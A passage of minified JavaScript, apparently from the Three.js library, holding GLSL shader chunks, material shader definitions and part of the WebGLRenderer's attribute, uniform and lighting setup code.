diffuseColor.rgb ) * getShadowMask();\n #include <aomap_fragment>\n vec3 outgoingLight = reflectedLight.directDiffuse + reflectedLight.indirectDiffuse + totalEmissiveRadiance;\n #include <envmap_fragment>\n gl_FragColor = vec4( outgoingLight, diffuseColor.a );\n #include <premultiplied_alpha_fragment>\n #include <tonemapping_fragment>\n #include <encodings_fragment>\n #include <fog_fragment>\n}\n",n.ShaderChunk.meshlambert_vert="#define LAMBERT\nvarying vec3 vLightFront;\n#ifdef DOUBLE_SIDED\n varying vec3 vLightBack;\n#endif\n#include <common>\n#include <uv_pars_vertex>\n#include <uv2_pars_vertex>\n#include <envmap_pars_vertex>\n#include <bsdfs>\n#include <lights_pars>\n#include <color_pars_vertex>\n#include <morphtarget_pars_vertex>\n#include <skinning_pars_vertex>\n#include <shadowmap_pars_vertex>\n#include <logdepthbuf_pars_vertex>\n#include <clipping_planes_pars_vertex>\nvoid main() {\n #include <uv_vertex>\n #include <uv2_vertex>\n #include <color_vertex>\n #include <beginnormal_vertex>\n #include <morphnormal_vertex>\n #include <skinbase_vertex>\n #include <skinnormal_vertex>\n #include <defaultnormal_vertex>\n #include <begin_vertex>\n #include <morphtarget_vertex>\n #include <skinning_vertex>\n #include <project_vertex>\n #include <logdepthbuf_vertex>\n #include <clipping_planes_vertex>\n #include <worldpos_vertex>\n #include <envmap_vertex>\n #include <lights_lambert_vertex>\n #include <shadowmap_vertex>\n}\n",
n.ShaderChunk.meshphong_frag="#define PHONG\nuniform vec3 diffuse;\nuniform vec3 emissive;\nuniform vec3 specular;\nuniform float shininess;\nuniform float opacity;\n#include <common>\n#include <packing>\n#include <color_pars_fragment>\n#include <uv_pars_fragment>\n#include <uv2_pars_fragment>\n#include <map_pars_fragment>\n#include <alphamap_pars_fragment>\n#include <aomap_pars_fragment>\n#include <lightmap_pars_fragment>\n#include <emissivemap_pars_fragment>\n#include <envmap_pars_fragment>\n#include <fog_pars_fragment>\n#include <bsdfs>\n#include <lights_pars>\n#include <lights_phong_pars_fragment>\n#include <shadowmap_pars_fragment>\n#include <bumpmap_pars_fragment>\n#include <normalmap_pars_fragment>\n#include <specularmap_pars_fragment>\n#include <logdepthbuf_pars_fragment>\n#include <clipping_planes_pars_fragment>\nvoid main() {\n #include <clipping_planes_fragment>\n vec4 diffuseColor = vec4( diffuse, opacity );\n ReflectedLight reflectedLight = ReflectedLight( vec3( 0.0 ), vec3( 0.0 ), vec3( 0.0 ), vec3( 0.0 ) );\n vec3 totalEmissiveRadiance = emissive;\n #include <logdepthbuf_fragment>\n #include <map_fragment>\n #include <color_fragment>\n #include <alphamap_fragment>\n #include <alphatest_fragment>\n #include <specularmap_fragment>\n #include <normal_fragment>\n #include <emissivemap_fragment>\n #include <lights_phong_fragment>\n #include <lights_template>\n #include <aomap_fragment>\n vec3 outgoingLight = reflectedLight.directDiffuse + reflectedLight.indirectDiffuse + reflectedLight.directSpecular + reflectedLight.indirectSpecular + totalEmissiveRadiance;\n #include <envmap_fragment>\n gl_FragColor = vec4( outgoingLight, diffuseColor.a );\n #include <premultiplied_alpha_fragment>\n #include <tonemapping_fragment>\n #include <encodings_fragment>\n #include <fog_fragment>\n}\n",n.ShaderChunk.meshphong_vert="#define PHONG\nvarying vec3 vViewPosition;\n#ifndef FLAT_SHADED\n varying vec3 vNormal;\n#endif\n#include <common>\n#include <uv_pars_vertex>\n#include <uv2_pars_vertex>\n#include <displacementmap_pars_vertex>\n#include <envmap_pars_vertex>\n#include <color_pars_vertex>\n#include <morphtarget_pars_vertex>\n#include <skinning_pars_vertex>\n#include <shadowmap_pars_vertex>\n#include <logdepthbuf_pars_vertex>\n#include <clipping_planes_pars_vertex>\nvoid main() {\n #include <uv_vertex>\n #include <uv2_vertex>\n #include <color_vertex>\n #include <beginnormal_vertex>\n #include <morphnormal_vertex>\n #include <skinbase_vertex>\n #include <skinnormal_vertex>\n #include <defaultnormal_vertex>\n#ifndef FLAT_SHADED\n vNormal = normalize( transformedNormal );\n#endif\n #include <begin_vertex>\n #include <displacementmap_vertex>\n #include <morphtarget_vertex>\n #include <skinning_vertex>\n #include <project_vertex>\n #include <logdepthbuf_vertex>\n #include <clipping_planes_vertex>\n vViewPosition = - mvPosition.xyz;\n #include <worldpos_vertex>\n #include <envmap_vertex>\n #include <shadowmap_vertex>\n}\n",n.ShaderChunk.meshphysical_frag="#define PHYSICAL\nuniform vec3 diffuse;\nuniform vec3 emissive;\nuniform float roughness;\nuniform float metalness;\nuniform float opacity;\nuniform float envMapIntensity;\nvarying vec3 vViewPosition;\n#ifndef FLAT_SHADED\n varying vec3 vNormal;\n#endif\n#include <common>\n#include <packing>\n#include <color_pars_fragment>\n#include <uv_pars_fragment>\n#include <uv2_pars_fragment>\n#include <map_pars_fragment>\n#include <alphamap_pars_fragment>\n#include <aomap_pars_fragment>\n#include <lightmap_pars_fragment>\n#include <emissivemap_pars_fragment>\n#include <envmap_pars_fragment>\n#include <fog_pars_fragment>\n#include <bsdfs>\n#include <cube_uv_reflection_fragment>\n#include <lights_pars>\n#include <lights_physical_pars_fragment>\n#include <shadowmap_pars_fragment>\n#include <bumpmap_pars_fragment>\n#include <normalmap_pars_fragment>\n#include <roughnessmap_pars_fragment>\n#include <metalnessmap_pars_fragment>\n#include <logdepthbuf_pars_fragment>\n#include <clipping_planes_pars_fragment>\nvoid main() {\n #include <clipping_planes_fragment>\n vec4 diffuseColor = vec4( diffuse, opacity );\n ReflectedLight reflectedLight = ReflectedLight( vec3( 0.0 ), vec3( 0.0 ), vec3( 0.0 ), vec3( 0.0 ) );\n vec3 totalEmissiveRadiance = emissive;\n #include <logdepthbuf_fragment>\n #include <map_fragment>\n #include <color_fragment>\n #include <alphamap_fragment>\n #include <alphatest_fragment>\n #include <specularmap_fragment>\n #include <roughnessmap_fragment>\n #include <metalnessmap_fragment>\n #include <normal_fragment>\n #include <emissivemap_fragment>\n #include <lights_physical_fragment>\n #include <lights_template>\n #include <aomap_fragment>\n vec3 outgoingLight = reflectedLight.directDiffuse + reflectedLight.indirectDiffuse + reflectedLight.directSpecular + reflectedLight.indirectSpecular + totalEmissiveRadiance;\n gl_FragColor = vec4( outgoingLight, diffuseColor.a );\n #include <premultiplied_alpha_fragment>\n #include <tonemapping_fragment>\n #include <encodings_fragment>\n #include <fog_fragment>\n}\n",n.ShaderChunk.meshphysical_vert="#define PHYSICAL\nvarying vec3 vViewPosition;\n#ifndef FLAT_SHADED\n varying vec3 vNormal;\n#endif\n#include <common>\n#include <uv_pars_vertex>\n#include <uv2_pars_vertex>\n#include <displacementmap_pars_vertex>\n#include <color_pars_vertex>\n#include <morphtarget_pars_vertex>\n#include <skinning_pars_vertex>\n#include <shadowmap_pars_vertex>\n#include <specularmap_pars_fragment>\n#include <logdepthbuf_pars_vertex>\n#include <clipping_planes_pars_vertex>\nvoid main() {\n #include <uv_vertex>\n #include <uv2_vertex>\n #include <color_vertex>\n #include <beginnormal_vertex>\n #include <morphnormal_vertex>\n #include <skinbase_vertex>\n #include <skinnormal_vertex>\n #include <defaultnormal_vertex>\n#ifndef FLAT_SHADED\n vNormal = normalize( transformedNormal );\n#endif\n #include <begin_vertex>\n #include <displacementmap_vertex>\n #include <morphtarget_vertex>\n #include <skinning_vertex>\n #include <project_vertex>\n #include <logdepthbuf_vertex>\n #include <clipping_planes_vertex>\n vViewPosition = - mvPosition.xyz;\n #include <worldpos_vertex>\n #include <shadowmap_vertex>\n}\n",n.ShaderChunk.normal_frag="uniform float opacity;\nvarying vec3 vNormal;\n#include <common>\n#include <packing>\n#include <logdepthbuf_pars_fragment>\n#include <clipping_planes_pars_fragment>\nvoid main() {\n #include <clipping_planes_fragment>\n gl_FragColor = vec4( packNormalToRGB( vNormal ), opacity );\n #include <logdepthbuf_fragment>\n}\n",n.ShaderChunk.normal_vert="varying vec3 vNormal;\n#include <common>\n#include <morphtarget_pars_vertex>\n#include <logdepthbuf_pars_vertex>\n#include <clipping_planes_pars_vertex>\nvoid main() {\n vNormal = normalize( normalMatrix * normal );\n #include <begin_vertex>\n #include <morphtarget_vertex>\n #include <project_vertex>\n #include <logdepthbuf_vertex>\n #include <clipping_planes_vertex>\n}\n",n.ShaderChunk.points_frag="uniform vec3 diffuse;\nuniform float opacity;\n#include <common>\n#include <color_pars_fragment>\n#include <map_particle_pars_fragment>\n#include <fog_pars_fragment>\n#include <shadowmap_pars_fragment>\n#include <logdepthbuf_pars_fragment>\n#include <clipping_planes_pars_fragment>\nvoid main() {\n #include <clipping_planes_fragment>\n vec3 outgoingLight = vec3( 0.0 );\n vec4 diffuseColor = vec4( diffuse, opacity );\n #include <logdepthbuf_fragment>\n #include <map_particle_fragment>\n #include <color_fragment>\n #include <alphatest_fragment>\n outgoingLight = diffuseColor.rgb;\n gl_FragColor = vec4( outgoingLight, diffuseColor.a );\n #include <premultiplied_alpha_fragment>\n #include <tonemapping_fragment>\n #include <encodings_fragment>\n #include <fog_fragment>\n}\n",n.ShaderChunk.points_vert="uniform float size;\nuniform float scale;\n#include <common>\n#include <color_pars_vertex>\n#include <shadowmap_pars_vertex>\n#include <logdepthbuf_pars_vertex>\n#include <clipping_planes_pars_vertex>\nvoid main() {\n #include <color_vertex>\n #include <begin_vertex>\n #include <project_vertex>\n #ifdef USE_SIZEATTENUATION\n gl_PointSize = size * ( scale / - mvPosition.z );\n #else\n gl_PointSize = size;\n #endif\n #include <logdepthbuf_vertex>\n #include <clipping_planes_vertex>\n #include <worldpos_vertex>\n #include <shadowmap_vertex>\n}\n",n.ShaderLib={basic:{uniforms:n.UniformsUtils.merge([n.UniformsLib.common,n.UniformsLib.aomap,n.UniformsLib.fog]),vertexShader:n.ShaderChunk.meshbasic_vert,fragmentShader:n.ShaderChunk.meshbasic_frag},lambert:{uniforms:n.UniformsUtils.merge([n.UniformsLib.common,n.UniformsLib.aomap,n.UniformsLib.lightmap,n.UniformsLib.emissivemap,n.UniformsLib.fog,n.UniformsLib.lights,{emissive:{type:"c",value:new n.Color(0)}}]),vertexShader:n.ShaderChunk.meshlambert_vert,fragmentShader:n.ShaderChunk.meshlambert_frag},phong:{uniforms:n.UniformsUtils.merge([n.UniformsLib.common,n.UniformsLib.aomap,n.UniformsLib.lightmap,n.UniformsLib.emissivemap,n.UniformsLib.bumpmap,n.UniformsLib.normalmap,n.UniformsLib.displacementmap,n.UniformsLib.fog,n.UniformsLib.lights,{emissive:{type:"c",value:new n.Color(0)},specular:{type:"c",value:new n.Color(1118481)},shininess:{type:"1f",value:30}}]),vertexShader:n.ShaderChunk.meshphong_vert,fragmentShader:n.ShaderChunk.meshphong_frag},standard:{uniforms:n.UniformsUtils.merge([n.UniformsLib.common,n.UniformsLib.aomap,n.UniformsLib.lightmap,n.UniformsLib.emissivemap,n.UniformsLib.bumpmap,n.UniformsLib.normalmap,n.UniformsLib.displacementmap,n.UniformsLib.roughnessmap,n.UniformsLib.metalnessmap,n.UniformsLib.fog,n.UniformsLib.lights,{emissive:{type:"c",value:new n.Color(0)},roughness:{type:"1f",value:.5},metalness:{type:"1f",value:0},envMapIntensity:{type:"1f",value:1}}]),vertexShader:n.ShaderChunk.meshphysical_vert,fragmentShader:n.ShaderChunk.meshphysical_frag},points:{uniforms:n.UniformsUtils.merge([n.UniformsLib.points,n.UniformsLib.fog]),vertexShader:n.ShaderChunk.points_vert,fragmentShader:n.ShaderChunk.points_frag},dashed:{uniforms:n.UniformsUtils.merge([n.UniformsLib.common,n.UniformsLib.fog,{scale:{type:"1f",value:1},dashSize:{type:"1f",value:1},totalSize:{type:"1f",value:2}}]),vertexShader:n.ShaderChunk.linedashed_vert,fragmentShader:n.ShaderChunk.linedashed_frag},depth:{uniforms:n.UniformsUtils.merge([n.UniformsLib.common,n.UniformsLib.displacementmap]),vertexShader:n.ShaderChunk.depth_vert,fragmentShader:n.ShaderChunk.depth_frag},normal:{uniforms:{opacity:{type:"1f",value:1}},vertexShader:n.ShaderChunk.normal_vert,fragmentShader:n.ShaderChunk.normal_frag},cube:{uniforms:{tCube:{type:"t",value:null},tFlip:{type:"1f",value:-1}},vertexShader:n.ShaderChunk.cube_vert,fragmentShader:n.ShaderChunk.cube_frag},equirect:{uniforms:{tEquirect:{type:"t",value:null},tFlip:{type:"1f",value:-1}},vertexShader:n.ShaderChunk.equirect_vert,fragmentShader:n.ShaderChunk.equirect_frag},distanceRGBA:{uniforms:{lightPos:{type:"v3",value:new n.Vector3}},vertexShader:n.ShaderChunk.distanceRGBA_vert,fragmentShader:n.ShaderChunk.distanceRGBA_frag}},n.ShaderLib.physical={uniforms:n.UniformsUtils.merge([n.ShaderLib.standard.uniforms,{}]),vertexShader:n.ShaderChunk.meshphysical_vert,fragmentShader:n.ShaderChunk.meshphysical_frag},n.WebGLRenderer=function(e){function t(){return null===be?Re:1}function i(e,t,i,r){de===!0&&(e*=r,t*=r,i*=r),ut.clearColor(e,t,i,r)}function r(){ut.init(),ut.scissor(Se.copy(Be).multiplyScalar(Re)),ut.viewport(Ie.copy(Pe).multiplyScalar(Re)),i(_e.r,_e.g,_e.b,Oe)}function o(){Ee=null,Ne=null,De="",Le=-1,ut.reset()}function a(e){e.preventDefault(),o(),r(),lt.clear()}function s(e){var t=e.target;t.removeEventListener("dispose",s),l(t),tt.textures--}function c(e){var t=e.target;t.removeEventListener("dispose",c),h(t),tt.textures--}function u(e){var t=e.target;t.removeEventListener("dispose",u),d(t)}function l(e){var t=lt.get(e);if(e.image&&t.__image__webglTextureCube)rt.deleteTexture(t.__image__webglTextureCube);else{if(void 0===t.__webglInit)return;rt.deleteTexture(t.__webglTexture)}lt["delete"](e)}function h(e){var t=lt.get(e),i=lt.get(e.texture);if(e){if(void 0!==i.__webglTexture&&rt.deleteTexture(i.__webglTexture),e.depthTexture&&e.depthTexture.dispose(),e instanceof n.WebGLRenderTargetCube)for(var r=0;6>r;r++)rt.deleteFramebuffer(t.__webglFramebuffer[r]),t.__webglDepthbuffer&&rt.deleteRenderbuffer(t.__webglDepthbuffer[r]);else rt.deleteFramebuffer(t.__webglFramebuffer),t.__webglDepthbuffer&&rt.deleteRenderbuffer(t.__webglDepthbuffer);lt["delete"](e.texture),lt["delete"](e)}}function d(e){p(e),lt["delete"](e)}function p(e){var t=lt.get(e).program;e.program=void 0,void 0!==t&&dt.releaseProgram(t)}function f(e,t,i,r){var o;if(i instanceof n.InstancedBufferGeometry&&(o=st.get("ANGLE_instanced_arrays"),null===o))return void console.error("THREE.WebGLRenderer.setupVertexAttributes: using THREE.InstancedBufferGeometry but hardware does not support extension ANGLE_instanced_arrays.");void 0===r&&(r=0),ut.initAttributes();var a=i.attributes,s=t.getAttributes(),c=e.defaultAttributeValues;for(var u in s){var l=s[u];if(l>=0){var h=a[u];if(void 0!==h){var d=rt.FLOAT,p=h.array,f=h.normalized;p instanceof Float32Array?d=rt.FLOAT:p instanceof Float64Array?console.warn("Unsupported data buffer format: Float64Array"):p instanceof Uint16Array?d=rt.UNSIGNED_SHORT:p instanceof Int16Array?d=rt.SHORT:p instanceof Uint32Array?d=rt.UNSIGNED_INT:p instanceof Int32Array?d=rt.INT:p instanceof Int8Array?d=rt.BYTE:p instanceof Uint8Array&&(d=rt.UNSIGNED_BYTE);var m=h.itemSize,g=ht.getAttributeBuffer(h);if(h instanceof n.InterleavedBufferAttribute){var v=h.data,y=v.stride,M=h.offset;v instanceof n.InstancedInterleavedBuffer?(ut.enableAttributeAndDivisor(l,v.meshPerAttribute,o),void 0===i.maxInstancedCount&&(i.maxInstancedCount=v.meshPerAttribute*v.count)):ut.enableAttribute(l),rt.bindBuffer(rt.ARRAY_BUFFER,g),rt.vertexAttribPointer(l,m,d,f,y*v.array.BYTES_PER_ELEMENT,(r*y+M)*v.array.BYTES_PER_ELEMENT)}else h instanceof n.InstancedBufferAttribute?(ut.enableAttributeAndDivisor(l,h.meshPerAttribute,o),void 0===i.maxInstancedCount&&(i.maxInstancedCount=h.meshPerAttribute*h.count)):ut.enableAttribute(l),rt.bindBuffer(rt.ARRAY_BUFFER,g),rt.vertexAttribPointer(l,m,d,f,0,r*m*h.array.BYTES_PER_ELEMENT)}else if(void 0!==c){var A=c[u];if(void 0!==A)switch(A.length){case 2:rt.vertexAttrib2fv(l,A);break;case 3:rt.vertexAttrib3fv(l,A);break;case 4:rt.vertexAttrib4fv(l,A);break;default:rt.vertexAttrib1fv(l,A)}}}}ut.disableUnusedAttributes()}function m(e,t){return Math.abs(t[0])-Math.abs(e[0])}function g(e,t){return e.object.renderOrder!==t.object.renderOrder?e.object.renderOrder-t.object.renderOrder:e.material.id!==t.material.id?e.material.id-t.material.id:e.z!==t.z?e.z-t.z:e.id-t.id}function v(e,t){return e.object.renderOrder!==t.object.renderOrder?e.object.renderOrder-t.object.renderOrder:e.z!==t.z?t.z-e.z:e.id-t.id}function y(e,t,i,r,n){var o,a;i.transparent?(o=ve,a=++ye):(o=me,a=++ge);var s=o[a];void 0!==s?(s.id=e.id,s.object=e,s.geometry=t,s.material=i,s.z=$e.z,s.group=n):(s={id:e.id,object:e,geometry:t,material:i,z:$e.z,group:n},o.push(s))}function M(e){var t=e.geometry;null===t.boundingSphere&&t.computeBoundingSphere();var i=Ze.copy(t.boundingSphere).applyMatrix4(e.matrixWorld);if(!Fe.intersectsSphere(i))return!1;if(0===Ye)return!0;var r=we.clippingPlanes,n=i.center,o=-i.radius,a=0;do if(r[a].distanceToPoint(n)<o)return!1;while(++a!==Ye);return!0}function A(e,t){if(e.visible!==!1){if(e.layers.test(t.layers))if(e instanceof n.Light)fe.push(e);else if(e instanceof n.Sprite)(e.frustumCulled===!1||M(e)===!0)&&Ae.push(e);else if(e instanceof n.LensFlare)xe.push(e);else if(e instanceof n.ImmediateRenderObject)we.sortObjects===!0&&($e.setFromMatrixPosition(e.matrixWorld),$e.applyProjection(Je)),y(e,null,e.material,$e.z,null);else if((e instanceof n.Mesh||e instanceof n.Line||e instanceof n.Points)&&(e instanceof n.SkinnedMesh&&e.skeleton.update(),e.frustumCulled===!1||M(e)===!0)){var i=e.material;if(i.visible===!0){we.sortObjects===!0&&($e.setFromMatrixPosition(e.matrixWorld),$e.applyProjection(Je));var r=ht.update(e);if(i instanceof n.MultiMaterial)for(var o=r.groups,a=i.materials,s=0,c=o.length;c>s;s++){var u=o[s],l=a[u.materialIndex];l.visible===!0&&y(e,r,l,$e.z,u)}else y(e,r,i,$e.z,null)}}for(var h=e.children,s=0,c=h.length;c>s;s++)A(h[s],t)}}function x(e,t,i,r){for(var o=0,a=e.length;a>o;o++){var s=e[o],c=s.object,u=s.geometry,l=void 0===r?s.material:r,h=s.group;if(c.modelViewMatrix.multiplyMatrices(t.matrixWorldInverse,c.matrixWorld),c.normalMatrix.getNormalMatrix(c.modelViewMatrix),c instanceof n.ImmediateRenderObject){E(l);var d=T(t,i,l,c);De="",c.render(function(e){we.renderBufferImmediate(e,d,l)})}else we.renderBufferDirect(t,i,u,l,c,h)}}function w(e,t,i){var r=lt.get(e),o=dt.getParameters(e,et,t,Ye,i),a=dt.getProgramCode(e,o),s=r.program,c=!0;if(void 0===s)e.addEventListener("dispose",u);else if(s.code!==a)p(e);else{if(void 0!==o.shaderID)return;c=!1}if(c){if(o.shaderID){var l=n.ShaderLib[o.shaderID];r.__webglShader={name:e.type,uniforms:n.UniformsUtils.clone(l.uniforms),vertexShader:l.vertexShader,fragmentShader:l.fragmentShader}}else r.__webglShader={name:e.type,uniforms:e.uniforms,vertexShader:e.vertexShader,fragmentShader:e.fragmentShader};e.__webglShader=r.__webglShader,s=dt.acquireProgram(e,o,a),r.program=s,e.program=s}var h=s.getAttributes();if(e.morphTargets){e.numSupportedMorphTargets=0;for(var d=0;d<we.maxMorphTargets;d++)h["morphTarget"+d]>=0&&e.numSupportedMorphTargets++}if(e.morphNormals){e.numSupportedMorphNormals=0;for(var d=0;d<we.maxMorphNormals;d++)h["morphNormal"+d]>=0&&e.numSupportedMorphNormals++}var f=r.__webglShader.uniforms;(e instanceof n.ShaderMaterial||e instanceof n.RawShaderMaterial)&&e.clipping!==!0||(r.numClippingPlanes=Ye,f.clippingPlanes=He),(e instanceof n.MeshPhongMaterial||e instanceof n.MeshLambertMaterial||e instanceof n.MeshStandardMaterial||e.lights)&&(r.lightsHash=et.hash,f.ambientLightColor.value=et.ambient,f.directionalLights.value=et.directional,f.spotLights.value=et.spot,f.pointLights.value=et.point,f.hemisphereLights.value=et.hemi,f.directionalShadowMap.value=et.directionalShadowMap,f.directionalShadowMatrix.value=et.directionalShadowMatrix,f.spotShadowMap.value=et.spotShadowMap,f.spotShadowMatrix.value=et.spotShadowMatrix,f.pointShadowMap.value=et.pointShadowMap,f.pointShadowMatrix.value=et.pointShadowMatrix);var m=r.program.getUniforms(),g=n.WebGLUniforms.seqWithValue(m.seq,f);r.uniformsList=g,r.dynamicUniforms=n.WebGLUniforms.splitDynamic(g,f)}function E(e){b(e),e.transparent===!0?ut.setBlending(e.blending,e.blendEquation,e.blendSrc,e.blendDst,e.blendEquationAlpha,e.blendSrcAlpha,e.blendDstAlpha,e.premultipliedAlpha):ut.setBlending(n.NoBlending),ut.setDepthFunc(e.depthFunc),ut.setDepthTest(e.depthTest),ut.setDepthWrite(e.depthWrite),ut.setColorWrite(e.colorWrite),ut.setPolygonOffset(e.polygonOffset,e.polygonOffsetFactor,e.polygonOffsetUnits)}function b(e){e.side!==n.DoubleSide?ut.enable(rt.CULL_FACE):ut.disable(rt.CULL_FACE),ut.setFlipSided(e.side===n.BackSide)}function T(e,t,i,r){je=0;var o=lt.get(i);if(Ge){if(Ve||e!==Ne){var a=e===Ne&&i.id===Le;F(i.clippingPlanes,i.clipShadows,e,o,a)}void 0!==o.numClippingPlanes&&o.numClippingPlanes!==Ye&&(i.needsUpdate=!0)}void 0===o.program&&(i.needsUpdate=!0),void 0!==o.lightsHash&&o.lightsHash!==et.hash&&(i.needsUpdate=!0),i.needsUpdate&&(w(i,t,r),i.needsUpdate=!1);var s=!1,c=!1,u=!1,l=o.program,h=l.getUniforms(),d=o.__webglShader.uniforms;if(l.id!==Ee&&(rt.useProgram(l.program),Ee=l.id,s=!0,c=!0,u=!0),i.id!==Le&&(Le=i.id,c=!0),s||e!==Ne){if(h.set(rt,e,"projectionMatrix"),ct.logarithmicDepthBuffer&&h.setValue(rt,"logDepthBufFC",2/(Math.log(e.far+1)/Math.LN2)),e!==Ne&&(Ne=e,c=!0,u=!0),i instanceof n.ShaderMaterial||i instanceof n.MeshPhongMaterial||i instanceof n.MeshStandardMaterial||i.envMap){var p=h.map.cameraPosition;void 0!==p&&p.setValue(rt,$e.setFromMatrixPosition(e.matrixWorld))}(i instanceof n.MeshPhongMaterial||i instanceof n.MeshLambertMaterial||i instanceof n.MeshBasicMaterial||i instanceof n.MeshStandardMaterial||i instanceof n.ShaderMaterial||i.skinning)&&h.setValue(rt,"viewMatrix",e.matrixWorldInverse),h.set(rt,we,"toneMappingExposure"),h.set(rt,we,"toneMappingWhitePoint")}if(i.skinning){h.setOptional(rt,r,"bindMatrix"),h.setOptional(rt,r,"bindMatrixInverse");var f=r.skeleton;f&&(ct.floatVertexTextures&&f.useVertexTexture?(h.set(rt,f,"boneTexture"),h.set(rt,f,"boneTextureWidth"),h.set(rt,f,"boneTextureHeight")):h.setOptional(rt,f,"boneMatrices"))}c&&((i instanceof n.MeshPhongMaterial||i instanceof n.MeshLambertMaterial||i instanceof n.MeshStandardMaterial||i.lights)&&z(d,u),t&&i.fog&&C(d,t),(i instanceof n.MeshBasicMaterial||i instanceof n.MeshLambertMaterial||i instanceof n.MeshPhongMaterial||i instanceof n.MeshStandardMaterial||i instanceof n.MeshDepthMaterial)&&L(d,i),i instanceof n.LineBasicMaterial?D(d,i):i instanceof n.LineDashedMaterial?(D(d,i),N(d,i)):i instanceof n.PointsMaterial?S(d,i):i instanceof n.MeshLambertMaterial?I(d,i):i instanceof n.MeshPhongMaterial?j(d,i):i instanceof n.MeshPhysicalMaterial?O(d,i):i instanceof n.MeshStandardMaterial?_(d,i):i instanceof n.MeshDepthMaterial?i.displacementMap&&(d.displacementMap.value=i.displacementMap,d.displacementScale.value=i.displacementScale,d.displacementBias.value=i.displacementBias):i instanceof n.MeshNormalMaterial&&(d.opacity.value=i.opacity),n.WebGLUniforms.upload(rt,o.uniformsList,d,we)),h.set(rt,r,"modelViewMatrix"),h.set(rt,r,"normalMatrix"),h.setValue(rt,"modelMatrix",r.matrixWorld);var m=o.dynamicUniforms;return null!==m&&(n.WebGLUniforms.evalDynamic(m,d,r,e),n.WebGLUniforms.upload(rt,m,d,we)),l}function L(e,t){e.opacity.value=t.opacity,e.diffuse.value=t.color,t.emissive&&e.emissive.value.copy(t.emissive).multiplyScalar(t.emissiveIntensity),e.map.value=t.map,e.specularMap.value=t.specularMap,e.alphaMap.value=t.alphaMap,t.aoMap&&(e.aoMap.value=t.aoMap,e.aoMapIntensity.value=t.aoMapIntensity);var i;if(t.map?i=t.map:t.specularMap?i=t.specularMap:t.displacementMap?i=t.displacementMap:t.normalMap?i=t.normalMap:t.bumpMap?i=t.bumpMap:t.roughnessMap?i=t.roughnessMap:t.metalnessMap?i=t.metalnessMap:t.alphaMap?i=t.alphaMap:t.emissiveMap&&(i=t.emissiveMap),void 0!==i){i instanceof n.WebGLRenderTarget&&(i=i.texture);var r=i.offset,o=i.repeat;e.offsetRepeat.value.set(r.x,r.y,o.x,o.y)}e.envMap.value=t.envMap,e.flipEnvMap.value=t.envMap instanceof n.WebGLRenderTargetCube?1:-1,e.reflectivity.value=t.reflectivity,e.refractionRatio.value=t.refractionRatio}function D(e,t){e.diffuse.value=t.color,e.opacity.value=t.opacity}function N(e,t){e.dashSize.value=t.dashSize,e.totalSize.value=t.dashSize+t.gapSize,e.scale.value=t.scale}function S(e,t){if(e.diffuse.value=t.color,e.opacity.value=t.opacity,e.size.value=t.size*Re,e.scale.value=.5*ae.clientHeight,e.map.value=t.map,null!==t.map){var i=t.map.offset,r=t.map.repeat;e.offsetRepeat.value.set(i.x,i.y,r.x,r.y)}}function C(e,t){e.fogColor.value=t.color,t instanceof n.Fog?(e.fogNear.value=t.near,e.fogFar.value=t.far):t instanceof n.FogExp2&&(e.fogDensity.value=t.density)}function I(e,t){t.lightMap&&(e.lightMap.value=t.lightMap,e.lightMapIntensity.value=t.lightMapIntensity),t.emissiveMap&&(e.emissiveMap.value=t.emissiveMap)}function j(e,t){e.specular.value=t.specular,e.shininess.value=Math.max(t.shininess,1e-4),t.lightMap&&(e.lightMap.value=t.lightMap,e.lightMapIntensity.value=t.lightMapIntensity),t.emissiveMap&&(e.emissiveMap.value=t.emissiveMap),t.bumpMap&&(e.bumpMap.value=t.bumpMap,e.bumpScale.value=t.bumpScale),t.normalMap&&(e.normalMap.value=t.normalMap,e.normalScale.value.copy(t.normalScale)),t.displacementMap&&(e.displacementMap.value=t.displacementMap,e.displacementScale.value=t.displacementScale,e.displacementBias.value=t.displacementBias)}function _(e,t){e.roughness.value=t.roughness,e.metalness.value=t.metalness,t.roughnessMap&&(e.roughnessMap.value=t.roughnessMap),t.metalnessMap&&(e.metalnessMap.value=t.metalnessMap),t.lightMap&&(e.lightMap.value=t.lightMap,e.lightMapIntensity.value=t.lightMapIntensity),t.emissiveMap&&(e.emissiveMap.value=t.emissiveMap),t.bumpMap&&(e.bumpMap.value=t.bumpMap,e.bumpScale.value=t.bumpScale),t.normalMap&&(e.normalMap.value=t.normalMap,e.normalScale.value.copy(t.normalScale)),t.displacementMap&&(e.displacementMap.value=t.displacementMap,e.displacementScale.value=t.displacementScale,e.displacementBias.value=t.displacementBias),t.envMap&&(e.envMapIntensity.value=t.envMapIntensity)}function O(e,t){_(e,t)}function z(e,t){e.ambientLightColor.needsUpdate=t,e.directionalLights.needsUpdate=t,e.pointLights.needsUpdate=t,e.spotLights.needsUpdate=t,e.hemisphereLights.needsUpdate=t}function k(e){for(var t=0,i=0,r=e.length;r>i;i++){var n=e[i];n.castShadow&&(et.shadows[t++]=n)}et.shadows.length=t}function R(e,t){var i,r,o,a,s,c,u=0,l=0,h=0,d=t.matrixWorldInverse,p=0,f=0,m=0,g=0;for(i=0,r=e.length;r>i;i++)if(o=e[i],a=o.color,s=o.intensity,c=o.distance,o instanceof n.AmbientLight)u+=a.r*s,l+=a.g*s,h+=a.b*s;else if(o instanceof n.DirectionalLight){var v=pt.get(o);v.color.copy(o.color).multiplyScalar(o.intensity),v.direction.setFromMatrixPosition(o.matrixWorld),$e.setFromMatrixPosition(o.target.matrixWorld),v.direction.sub($e),v.direction.transformDirection(d),v.shadow=o.castShadow,o.castShadow&&(v.shadowBias=o.shadow.bias,v.shadowRadius=o.shadow.radius,v.shadowMapSize=o.shadow.mapSize),et.directionalShadowMap[p]=o.shadow.map,et.directionalShadowMatrix[p]=o.shadow.matrix,et.directional[p++]=v}else if(o instanceof n.SpotLight){var v=pt.get(o);v.position.setFromMatrixPosition(o.matrixWorld),v.position.applyMatrix4(d),v.color.copy(a).multiplyScalar(s),v.distance=c,v.direction.setFromMatrixPosition(o.matrixWorld),$e.setFromMatrixPosition(o.target.matrixWorld),v.direction.sub($e),v.direction.transformDirection(d),v.coneCos=Math.cos(o.angle),v.penumbraCos=Math.cos(o.angle*(1-o.penumbra)),v.decay=0===o.distance?0:o.decay,v.shadow=o.castShadow,o.castShadow&&(v.shadowBias=o.shadow.bias,v.shadowRadius=o.shadow.radius,v.shadowMapSize=o.shadow.mapSize),et.spotShadowMap[m]=o.shadow.map,et.spotShadowMatrix[m]=o.shadow.matrix,et.spot[m++]=v}else if(o instanceof n.PointLight){var 